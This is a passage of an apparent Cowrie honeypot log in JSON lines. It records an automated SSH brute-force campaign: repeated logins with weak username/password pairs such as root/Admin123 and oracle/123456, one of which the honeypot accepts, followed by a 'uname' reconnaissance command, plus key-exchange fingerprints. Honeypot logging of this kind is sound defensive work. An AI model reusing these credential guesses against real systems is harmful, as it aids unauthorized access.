{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:43.032283Z","src_ip":"193.151.144.93","session":"4a51512a6457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:43.531563Z","src_ip":"193.151.144.93","session":"4a51512a6457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:44.701814Z","src_ip":"193.151.144.93","session":"4a51512a6457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00404381752014,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:47.455064Z","src_ip":"79.139.59.21","session":"c3c989daa4ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59824,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c361dda03e3","protocol":"ssh","message":"New connection: 193.151.144.93:59824 (10.17.0.5:22) [session: 7c361dda03e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:48.157508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:48.163264Z","src_ip":"193.151.144.93","session":"7c361dda03e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:48.329414Z","src_ip":"193.151.144.93","session":"7c361dda03e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:48.822365Z","src_ip":"193.151.144.93","session":"7c361dda03e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:50.422019Z","src_ip":"193.151.144.93","session":"7c361dda03e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35796,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd72062332de","protocol":"ssh","message":"New connection: 193.151.144.93:35796 (10.17.0.5:22) [session: cd72062332de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:53.901189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:53.909854Z","src_ip":"193.151.144.93","session":"cd72062332de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:54.077969Z","src_ip":"193.151.144.93","session":"cd72062332de","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:54.607463Z","src_ip":"193.151.144.93","session":"cd72062332de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:56.680788Z","src_ip":"193.151.144.93","session":"cd72062332de","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:56.684707Z","src_ip":"193.151.144.93","session":"cd72062332de","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:56.855983Z","src_ip":"193.151.144.93","session":"cd72062332de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:56.862655Z","src_ip":"193.151.144.93","session":"cd72062332de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35808,"dst_ip":"10.17.0.5","dst_port":22,"session":"21b54f041ef3","protocol":"ssh","message":"New connection: 193.151.144.93:35808 (10.17.0.5:22) [session: 21b54f041ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:59.367873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:59.372648Z","src_ip":"193.151.144.93","session":"21b54f041ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:55:59.545700Z","src_ip":"193.151.144.93","session":"21b54f041ef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:00.638100Z","src_ip":"193.151.144.93","session":"21b54f041ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:02.245815Z","src_ip":"193.151.144.93","session":"21b54f041ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47822,"dst_ip":"10.17.0.5","dst_port":22,"session":"20b642f282a6","protocol":"ssh","message":"New connection: 193.151.144.93:47822 (10.17.0.5:22) [session: 20b642f282a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:05.440872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:05.447590Z","src_ip":"193.151.144.93","session":"20b642f282a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:05.619466Z","src_ip":"193.151.144.93","session":"20b642f282a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:06.127240Z","src_ip":"193.151.144.93","session":"20b642f282a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:07.297446Z","src_ip":"193.151.144.93","session":"20b642f282a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45886,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b5d6515fd6d","protocol":"ssh","message":"New connection: 193.151.144.93:45886 (10.17.0.5:22) [session: 7b5d6515fd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:11.261033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:11.265771Z","src_ip":"193.151.144.93","session":"7b5d6515fd6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:11.433981Z","src_ip":"193.151.144.93","session":"7b5d6515fd6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:11.938496Z","src_ip":"193.151.144.93","session":"7b5d6515fd6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:13.112523Z","src_ip":"193.151.144.93","session":"7b5d6515fd6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45896,"dst_ip":"10.17.0.5","dst_port":22,"session":"45faf354ac21","protocol":"ssh","message":"New connection: 193.151.144.93:45896 (10.17.0.5:22) [session: 45faf354ac21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:17.019874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:17.024984Z","src_ip":"193.151.144.93","session":"45faf354ac21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:17.196374Z","src_ip":"193.151.144.93","session":"45faf354ac21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:17.702944Z","src_ip":"193.151.144.93","session":"45faf354ac21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:18.874854Z","src_ip":"193.151.144.93","session":"45faf354ac21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":47662,"dst_ip":"159.203.135.109","dst_port":22,"session":"65229150990a","protocol":"ssh","message":"New connection: 20.6.35.235:47662 (159.203.135.109:22) [session: 65229150990a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:19.830729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:20.512804Z","src_ip":"20.6.35.235","session":"65229150990a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:20.752068Z","src_ip":"20.6.35.235","session":"65229150990a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36654,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b2c7ea50865","protocol":"ssh","message":"New connection: 193.151.144.93:36654 (10.17.0.5:22) [session: 4b2c7ea50865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:22.369063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:56:22.373997Z","src_ip":"193.151.144.93","session":"4b2c7ea50865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s